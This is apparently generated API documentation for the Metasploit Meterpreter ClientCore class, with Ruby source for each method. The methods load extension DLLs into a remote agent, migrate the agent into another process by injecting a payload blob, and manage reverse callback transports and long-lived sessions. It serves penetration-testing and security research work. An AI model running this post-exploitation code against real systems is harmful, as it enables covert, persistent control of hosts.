Class: Rex::Post::Meterpreter::ClientCore

Inherits:

Extension

• Object
• Extension
• Rex::Post::Meterpreter::ClientCore

Includes:

Rex::Payloads::Meterpreter::UriChecksum

Defined in:

lib/rex/post/meterpreter/client_core.rb

Overview

This class is responsible for providing the interface to the core client-side meterpreter API which facilitates the loading of extensions and the interaction with channels.

Constant Summary

UNIX_PATH_MAX =

108

DEFAULT_SOCK_PATH =

"/tmp/meterpreter.sock"

METERPRETER_TRANSPORT_SSL =

0

METERPRETER_TRANSPORT_HTTP =

1

METERPRETER_TRANSPORT_HTTPS =

2

TIMEOUT_SESSION =

1 week

24*3600*7

TIMEOUT_COMMS =

5 minutes

300

TIMEOUT_RETRY_TOTAL =

1 hour

60*60

TIMEOUT_RETRY_WAIT =

10 seconds

10

VALID_TRANSPORTS =

{
  'reverse_tcp'   => METERPRETER_TRANSPORT_SSL,
  'reverse_http'  => METERPRETER_TRANSPORT_HTTP,
  'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
  'bind_tcp'      => METERPRETER_TRANSPORT_SSL
}

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Attribute Summary

Attributes inherited from Extension

#name

Instance Method Summary

• #disable_ssl_hash_verify ⇒ Object

  Disable the SSL certificate has verificate.

• #enable_ssl_hash_verify ⇒ Object

  Enable the SSL certificate has verificate.

• #get_loaded_extension_commands(extension_name) ⇒ Object

  Get a list of loaded commands for the given extension.

• #get_ssl_hash_verify ⇒ Object

  Attempt to get the SSL hash being used for verificaton (if any).

• #initialize(client) ⇒ ClientCore constructor

  Initializes the ‘core’ portion of the meterpreter client commands.

• #load_library(opts) ⇒ Object

  Loads a library on the remote meterpreter instance.

• #machine_id(timeout = nil) ⇒ Object
• #migrate(pid, writable_dir = nil, opts = {}) ⇒ Object

  Migrates the meterpreter instance to the process specified by pid.

• #set_transport_timeouts(opts = {}) ⇒ Object
• #shutdown ⇒ Object

  Shuts the session down.

• #transport_add(opts = {}) ⇒ Object
• #transport_change(opts = {}) ⇒ Object
• #transport_list ⇒ Object
• #transport_next ⇒ Object
• #transport_prev ⇒ Object
• #transport_remove(opts = {}) ⇒ Object
• #transport_sleep(seconds) ⇒ Object
• #use(mod, opts = { }) ⇒ Object

  Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers.

• #uuid(timeout = nil) ⇒ Object
• #valid_transport?(transport) ⇒ Boolean

  Indicates if the given transport is a valid transport option.

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Constructor Details

#initialize(client) ⇒ ClientCore

Initializes the ‘core’ portion of the meterpreter client commands.

# File 'lib/rex/post/meterpreter/client_core.rb', line 56

def initialize(client)
  super(client, 'core')
end

Instance Method Details

#disable_ssl_hash_verify ⇒ Object

Disable the SSL certificate has verificate

# File 'lib/rex/post/meterpreter/client_core.rb', line 403

def disable_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request('core_transport_setcerthash')

  # send an empty request to disable it
  client.send_request(request)

  return true
end

#enable_ssl_hash_verify ⇒ Object

Enable the SSL certificate has verificate

# File 'lib/rex/post/meterpreter/client_core.rb', line 386

def enable_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request('core_transport_setcerthash')

  hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
  request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)

  client.send_request(request)

  return hash
end

#get_loaded_extension_commands(extension_name) ⇒ Object

Get a list of loaded commands for the given extension.

# File 'lib/rex/post/meterpreter/client_core.rb', line 69

def get_loaded_extension_commands(extension_name)
  request = Packet.create_request('core_enumextcmd')
  request.add_tlv(TLV_TYPE_STRING, extension_name)

  begin
    response = self.client.send_packet_wait_response(request, self.client.response_timeout)
  rescue
    # In the case where orphaned shells call back with OLD copies of the meterpreter
    # binaries, we end up with a case where this fails. So here we just return the
    # empty list of supported commands.
    return []
  end

  # No response?
  if response.nil?
    raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
  elsif response.result != 0
    # This case happens when the target doesn't support the core_enumextcmd message.
    # If this is the case, then we just want to ignore the error and return an empty
    # list. This will force the caller to load any required modules.
    return []
  end

  commands = []
  response.each(TLV_TYPE_STRING) { |c|
    commands << c.value
  }

  commands
end

#get_ssl_hash_verify ⇒ Object

Attempt to get the SSL hash being used for verificaton (if any).

Returns:

• 20-byte sha1 hash currently being used for verification.

# File 'lib/rex/post/meterpreter/client_core.rb', line 420

def get_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request('core_transport_getcerthash')
  response = client.send_request(request)

  return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
end

#load_library(opts) ⇒ Object

Loads a library on the remote meterpreter instance. This method supports loading both extension and non-extension libraries and also supports loading libraries from memory or disk depending on the flags that are specified

Supported flags:

LibraryFilePath The path to the library that is to be loaded

TargetFilePath The target library path when uploading

UploadLibrary Indicates whether or not the library should be uploaded

SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine

Extension Indicates whether or not the library is a meterpreter extension

# File 'lib/rex/post/meterpreter/client_core.rb', line 176

def load_library(opts)
  library_path = opts['LibraryFilePath']
  target_path  = opts['TargetFilePath']
  load_flags   = LOAD_LIBRARY_FLAG_LOCAL

  # No library path, no cookie.
  if library_path.nil?
    raise ArgumentError, 'No library file path was supplied', caller
  end

  # Set up the proper loading flags
  if opts['UploadLibrary']
    load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
  end
  if opts['SaveToDisk']
    load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
  end
  if opts['Extension']
    load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
  end

  # Create a request packet
  request = Packet.create_request('core_loadlib')

  # If we must upload the library, do so now
  if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
    image = ''

    ::File.open(library_path, 'rb') { |f|
      image = f.read
    }

    if !image.nil?
      request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
    else
      raise RuntimeError, "Failed to serialize library #{library_path}.", caller
    end

    # If it's an extension we're dealing with, rename the library
    # path of the local and target so that it gets loaded with a random
    # name
    if opts['Extension']
      library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
      target_path  = library_path
    end
  end

  # Add the base TLVs
  request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
  request.add_tlv(TLV_TYPE_FLAGS, load_flags)

  if !target_path.nil?
    request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
  end

  # Transmit the request and wait the default timeout seconds for a response
  response = self.client.send_packet_wait_response(request, self.client.response_timeout)

  # No response?
  if response.nil?
    raise RuntimeError, 'No response was received to the core_loadlib request.', caller
  elsif response.result != 0
    raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
  end

  commands = []
  response.each(TLV_TYPE_METHOD) { |c|
    commands << c.value
  }

  return commands
end

#machine_id(timeout = nil) ⇒ Object

# File 'lib/rex/post/meterpreter/client_core.rb', line 311

def machine_id(timeout=nil)
  request = Packet.create_request('core_machine_id')

  args = [ request ]
  args << timeout if timeout

  response = client.send_request(*args)

  mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)

  # Normalise the format of the incoming machine id so that it's consistent
  # regardless of case and leading/trailing spaces. This means that the
  # individual meterpreters don't have to care.

  # Note that the machine ID may be blank or nil and that is OK
  Rex::Text.md5(mid.to_s.downcase.strip)
end

#migrate(pid, writable_dir = nil, opts = {}) ⇒ Object

Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established.

# File 'lib/rex/post/meterpreter/client_core.rb', line 434

def migrate(pid, writable_dir = nil, opts = {})
  keepalive              = client.send_keepalives
  client.send_keepalives = false
  process                = nil
  binary_suffix          = nil
  old_platform           = client.platform
  old_binary_suffix      = client.binary_suffix

  # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
  client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')

  # Determine the architecture for the pid we are going to migrate into...
  client.sys.process.processes.each { | p |
    if p['pid'] == pid
      process = p
      break
    end
  }

  # We cant migrate into a process that does not exist.
  unless process
    raise RuntimeError, 'Cannot migrate into non existent process', caller
  end

  # We cannot migrate into a process that we are unable to open
  # On linux, arch is empty even if we can access the process
  if client.platform =~ /win/
    if process['arch'] == nil || process['arch'].empty?
      raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
    end
  end

  # And we also cannot migrate into our own current process...
  if process['pid'] == client.sys.process.getpid
    raise RuntimeError, 'Cannot migrate into current process', caller
  end

  if client.platform =~ /linux/
    if writable_dir.to_s.empty?
      writable_dir = tmp_folder
    end

    stat_dir = client.fs.filestat.new(writable_dir)

    unless stat_dir.directory?
      raise RuntimeError, "Directory #{writable_dir} not found", caller
    end
    # Rex::Post::FileStat#writable? isn't available
  end

  blob = generate_payload_stub(process)

  # Build the migration request
  request = Packet.create_request('core_migrate')

  if client.platform =~ /linux/i
    socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))

    if socket_path.length > UNIX_PATH_MAX - 1
      raise RuntimeError, 'The writable dir is too long', caller
    end

    pos = blob.index(DEFAULT_SOCK_PATH)

    if pos.nil?
      raise RuntimeError, 'The meterpreter binary is wrong', caller
    end

    blob[pos, socket_path.length + 1] = socket_path + "\x00"

    ep = elf_ep(blob)
    request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
    request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
    request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
  end

  request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
  request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
  request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])

  if process['arch'] == ARCH_X86_64
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
  else
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
  end

  # Send the migration request. Timeout can be specified by the caller, or set to a min
  # of 60 seconds.
  timeout = [(opts[:timeout] || 0), 60].max
  client.send_request(request, timeout)

  if client.passive_service
    # Sleep for 5 seconds to allow the full handoff, this prevents
    # the original process from stealing our loadlib requests
    ::IO.select(nil, nil, nil, 5.0)
  else
    # Prevent new commands from being sent while we finish migrating
    client.comm_mutex.synchronize do
      # Disable the socket request monitor
      client.monitor_stop

      ###
      # Now communicating with the new process
      ###

      # If renegotiation takes longer than a minute, it's a pretty
      # good bet that migration failed and the remote side is hung.
      # Since we have the comm_mutex here, we *must* release it to
      # keep from hanging the packet dispatcher thread, which results
      # in blocking the entire process.
      begin
        Timeout.timeout(timeout) do
          # Renegotiate SSL over this socket
          client.swap_sock_ssl_to_plain()
          client.swap_sock_plain_to_ssl()
        end
      rescue TimeoutError
        client.alive = false
        return false
      end

      # Restart the socket monitor
      client.monitor_socket

    end
  end

  # Update the meterpreter platform/suffix for loading extensions as we may
  # have changed target architecture
  # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a
  # module this is the simplest solution I could think of. If the platform
  # specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change
  # significantly we will need a better way to do this.

  case client.platform
  when /win/i
    if process['arch'] == ARCH_X86_64
      client.platform      = 'x64/win64'
      client.binary_suffix = 'x64.dll'
    else
      client.platform      = 'x86/win32'
      client.binary_suffix = 'x86.dll'
    end
  when /linux/i
    client.platform        = 'x86/linux'
    client.binary_suffix   = 'lso'
  else
    client.platform        = old_platform
    client.binary_suffix   = old_binary_suffix
  end

  # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
  client.ext.aliases.keys.each { |e|
    client.core.use(e)
  }

  # Restore session keep-alives
  client.send_keepalives = keepalive

  return true
end

#set_transport_timeouts(opts = {}) ⇒ Object

# File 'lib/rex/post/meterpreter/client_core.rb', line 126

def set_transport_timeouts(opts={})
  request = Packet.create_request('core_transport_set_timeouts')

  if opts[:session_exp]
    request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
  end
  if opts[:comm_timeout]
    request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
  end
  if opts[:retry_total]
    request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
  end
  if opts[:retry_wait]
    request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
  end

  response = client.send_request(request)

  {
    :session_exp  => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
    :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
    :retry_total  => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
    :retry_wait   => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
  }
end

#shutdown ⇒ Object

Shuts the session down

# File 'lib/rex/post/meterpreter/client_core.rb', line 599

def shutdown
  request  = Packet.create_request('core_shutdown')

  # If this is a standard TCP session, send and return
  if not client.passive_service
    self.client.send_packet(request)
  else
    # If this is a HTTP/HTTPS session we need to wait a few seconds
    # otherwise the session may not receive the command before we
    # kill the handler. This could be improved by the server side
    # sending a reply to shutdown first.
    self.client.send_packet_wait_response(request, 10)
  end
  true
end

#transport_add(opts = {}) ⇒ Object

# File 'lib/rex/post/meterpreter/client_core.rb', line 339

def transport_add(opts={})
  request = transport_prepare_request('core_transport_add', opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_change(opts = {}) ⇒ Object

# File 'lib/rex/post/meterpreter/client_core.rb', line 349

def transport_change(opts={})
  request = transport_prepare_request('core_transport_change', opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_list ⇒ Object

# File 'lib/rex/post/meterpreter/client_core.rb', line 100

def transport_list
  request = Packet.create_request('core_transport_list')
  response = client.send_request(request)

  result = {
    :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
    :transports  => []
  }

  response.each(TLV_TYPE_TRANS_GROUP) { |t|
    result[:transports] << {
      :url          => t.get_tlv_value(TLV_TYPE_TRANS_URL),
      :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
      :retry_total  => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
      :retry_wait   => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
      :ua           => t.get_tlv_value(TLV_TYPE_TRANS_UA),
      :proxy_host   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
      :proxy_user   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
      :proxy_pass   => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
      :cert_hash    => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
    }
  }

  result
end

#transport_next ⇒ Object

# File 'lib/rex/post/meterpreter/client_core.rb', line 371

def transport_next
  request = Packet.create_request('core_transport_next')
  client.send_request(request)
  return true
end

#transport_prev ⇒ Object

# File 'lib/rex/post/meterpreter/client_core.rb', line 377

def transport_prev
  request = Packet.create_request('core_transport_prev')
  client.send_request(request)
  return true
end

#transport_remove(opts = {}) ⇒ Object

# File 'lib/rex/post/meterpreter/client_core.rb', line 329

def transport_remove(opts={})
  request = transport_prepare_request('core_transport_remove', opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_sleep(seconds) ⇒ Object

# File 'lib/rex/post/meterpreter/client_core.rb', line 359

def transport_sleep(seconds)
  return false if seconds == 0

  request = Packet.create_request('core_transport_sleep')

  # we're reusing the comms timeout setting here instead of
  # creating a whole new TLV value
  request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
  client.send_request(request)
  return true
end

#use(mod, opts = { }) ⇒ Object

Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers

Module The module that should be loaded

LoadFromDisk Indicates that the library should be loaded from disk, not from memory on the remote machine

# File 'lib/rex/post/meterpreter/client_core.rb', line 260

def use(mod, opts = { })
  if mod.nil?
    raise RuntimeError, "No modules were specified", caller
  end

  # Query the remote instance to see if commands for the extension are
  # already loaded
  commands = get_loaded_extension_commands(mod.downcase)

  # if there are existing commands for the given extension, then we can use
  # what's already there
  unless commands.length > 0
    # Get us to the installation root and then into data/meterpreter, where
    # the file is expected to be
    modname = "ext_server_#{mod.downcase}"
    path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)

    if opts['ExtensionPath']
      path = ::File.expand_path(opts['ExtensionPath'])
    end

    if path.nil?
      raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
    end

    # Load the extension DLL
    commands = load_library(
        'LibraryFilePath' => path,
        'UploadLibrary'   => true,
        'Extension'       => true,
        'SaveToDisk'      => opts['LoadFromDisk'])
  end

  # wire the commands into the client
  client.add_extension(mod, commands)

  return true
end

#uuid(timeout = nil) ⇒ Object

# File 'lib/rex/post/meterpreter/client_core.rb', line 299

def uuid(timeout=nil)
  request = Packet.create_request('core_uuid')

  args = [ request ]
  args << timeout if timeout
  response = client.send_request(*args)

  id = response.get_tlv_value(TLV_TYPE_UUID)

  return Msf::Payload::UUID.new({:raw => id})
end

#valid_transport?(transport) ⇒ Boolean

Indicates if the given transport is a valid transport option.

Returns:

• (Boolean)

# File 'lib/rex/post/meterpreter/client_core.rb', line 618

def valid_transport?(transport)
  if transport
    VALID_TRANSPORTS.has_key?(transport.downcase)
  else
    false
  end
end